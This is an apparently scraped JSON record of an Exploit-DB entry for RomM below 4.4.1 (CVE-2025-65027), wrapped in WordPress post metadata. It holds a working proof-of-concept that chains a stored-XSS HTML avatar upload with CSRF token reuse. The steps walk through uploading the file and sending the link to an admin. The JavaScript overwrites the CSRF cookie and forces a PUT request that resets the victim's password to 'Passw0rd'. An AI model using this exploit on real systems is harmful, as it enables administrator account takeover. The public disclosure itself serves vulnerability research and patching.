{“lastseen”:”2026-04-10T02:26:31″,”description”:”Exploit Title: RomM Application tab or Storage on Firefox Cookies – Copy the rommcsrftoken cookie value 3. Replace below with your token 4. Replace with the target RomM instance URL e.g., http:\/\/romm.local 5. Save this file as avatar.html 6. Upload it…”,”published”:”2026-04-09T00:00:00″,”modified”:”2026-04-09T00:00:00″,”type”:”exploitdb”,”title”:”RomM 4.4.0 – XSS_CSRF Chain”,”source”:””,”references”:””,”id”:”EDB-ID:52505″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-65027″],”sourceData”:”# Exploit Title: RomM \\u003c 4.4.1 – XSS_CSRF Chain\\r\\n# Date: 2025-12-03\\r\\n# Exploit Author: He4am (https:\/\/github.com\/mHe4am)\\r\\n# Vendor Homepage: https:\/\/romm.app\/\\r\\n# Software Link: https:\/\/github.com\/rommapp\/romm (Docker: https:\/\/hub.docker.com\/r\/rommapp\/romm)\\r\\n# Version: \\u003c 4.4.1\\r\\n# Tested on: Linux\\r\\n# CVE: CVE-2025-65027\\r\\n\\r\\n# ——————-\\r\\n\\r\\n# Vulnerability: Chaining unrestricted file upload (XSS) + CSRF token reuse to bypass SameSite protection\\r\\n# Impact: Admin account takeover\\r\\n\\r\\n# Prerequisites:\\r\\n# 1. Attacker needs an authenticated account (Viewer role is sufficient)\\r\\n# 2. Victim must visit the uploaded malicious HTML file via a direct link\\r\\n\\r\\n# Steps to reproduce:\\r\\n# 1. Login to RomM\\r\\n# 2. Obtain your CSRF token:\\r\\n# – Open browser DevTools \\u003e Application tab (or Storage on Firefox) \\u003e Cookies\\r\\n# – Copy the `romm_csrftoken` cookie value\\r\\n# 3. Replace \\u003cATTACKER_CSRF_TOKEN\\u003e below with your token\\r\\n# 4. Replace \\u003cTARGET_ROMM_URL\\u003e with the target RomM instance URL (e.g., http:\/\/romm.local)\\r\\n# 5. Save this file as `avatar.html`\\r\\n# 6. Upload it as your profile avatar (http:\/\/romm.local\/user\/me) and click the Apply button\\r\\n# 7. Locate the uploaded file’s direct link:\\r\\n# – DevTools \\u003e Network tab \\u003e Filter for `.html` files\\r\\n# – Or capture it via proxy (e.g., Burp Suite)\\r\\n# – It’s usually something like: \\”http:\/\/romm.local\/assets\/romm\/assets\/users\/\\u003cRandom-ID\\u003e\/profile\/avatar.html\\”\\r\\n# 8. Send this direct link of the uploaded avatar\/file to the victim\\r\\n# 9. When victim (e.g. admin) opens the link, their password will be changed to \\”Passw0rd\\”\\r\\n\\r\\n# ——————-\\r\\n\\r\\n# PoC Code:\\r\\n\\u003cscript\\u003e\\r\\nconst csrfToken = \\”\\u003cATTACKER_CSRF_TOKEN\\u003e\\”;\\t\\t\/\/ CHANGE THIS – Your CSRF token from step 2\\r\\nconst targetURL = \\”\\u003cTARGET_ROMM_URL\\u003e\\”;\\t\\t\\t\/\/ CHANGE THIS – Target RomM URL (e.g., http:\/\/romm.local)\\r\\nconst targetUserID = 1;\\t\\t\\t\\t\\t\\t\\t\/\/ Default admin ID is always 1, CHANGE THIS if needed\\r\\nconst newPassword = \\”Passw0rd\\”;\\t\\t\\t\\t\\t\/\/ Password to set for victim\\r\\n\\r\\n\/\/ Overwrite CSRF cookie to match our token\\r\\ndocument.cookie = `romm_csrftoken=${csrfToken}; path=\/`;\\r\\n\\r\\n\/\/ Execute account takeover by forcing the victim to change their password\\r\\nfetch(targetURL + \\”\/api\/users\/\\” + targetUserID, {\\r\\n method: ‘PUT’,\\r\\n credentials: ‘include’, \/\/ Send victim’s session cookie\\r\\n headers: {\\r\\n ‘Content-Type’: ‘application\/x-www-form-urlencoded’,\\r\\n ‘x-csrftoken’: csrfToken\\r\\n },\\r\\n body: \\”password=\\” + newPassword\\r\\n})\\r\\n.then(() =\\u003e {\\r\\n console.log(\\”Password changed successfully\\”);\\r\\n})\\r\\n.catch(err =\\u003e {\\r\\n console.error(\\”Attack failed:\\”, err);\\r\\n});\\r\\n\\u003c\/script\\u003e\\r\\n\\r\\n# ——————-\\r\\n\\r\\n# See full writeup for technical details: https:\/\/he4am.medium.com\/bypassing-samesite-protection-chaining-xss-and-csrf-for-admin-ato-in-romm-44d910c54403″,”sourceHref”:”https:\/\/www.exploit-db.com\/raw\/52505″,”cvss”:{“score”:7.6,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:R\/S:U\/C:L\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.exploit-db.com\/exploits\/52505″,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-04-10T02:26:31″,”description”:”Exploit Title: RomM Application tab or Storage on Firefox Cookies – Copy the rommcsrftoken cookie value 3. Replace below with your token 4. Replace with…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,63,12,40,15,13,7,11,5],"class_list":["post-42443","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-76","tag-exploit","tag-exploitdb","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n